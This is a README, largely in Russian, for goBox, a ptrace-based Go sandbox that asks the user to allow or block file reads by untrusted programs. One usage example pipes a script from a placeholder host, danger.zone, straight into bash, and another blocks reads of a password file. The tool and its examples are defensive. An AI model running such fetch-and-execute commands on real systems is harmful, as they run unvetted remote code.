
Песочница Go для выполнения недоверенного кода
GO-песочница для запуска ненадёжного кода.
goBox использует Ptrace для перехвата системных вызовов READ, предоставляя вам возможность принимать или отклонять системные вызовы до их выполнения.
Usage of ./gobox:
gobox [FLAGS] command
flags:
-h Print Usage.
-n value
A glob pattern for automatically blocking file reads.
-y value
A glob pattern for automatically allowing file reads.
> gobox -n "/etc/password.txt" npm install sketchy-module
BLOCKED READ on /etc/password.txt
> gobox -n "/etc/password.txt" bash <(curl https://danger.zone/install.sh)
BLOCKED READ on /etc/password.txt
Конечно, вы могли бы использовать strace, но он ссылается на файловые дескрипторы. goBox делает это гораздо проще, сразу печатая абсолютный путь fd.
> gobox ls
Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]
ПРИМЕЧАНИЕ: Определенно лучше зашифровать все ваши конфиденциальные данные; goBox, вероятно, следует использовать только тогда, когда это неудобно или непрактично.
ПРИМЕЧАНИЕ: Я не прилагал усилий для кроссплатформенной совместимости, поэтому в настоящее время он работает только на Linux. Я с радостью приму патчи для улучшения переносимости.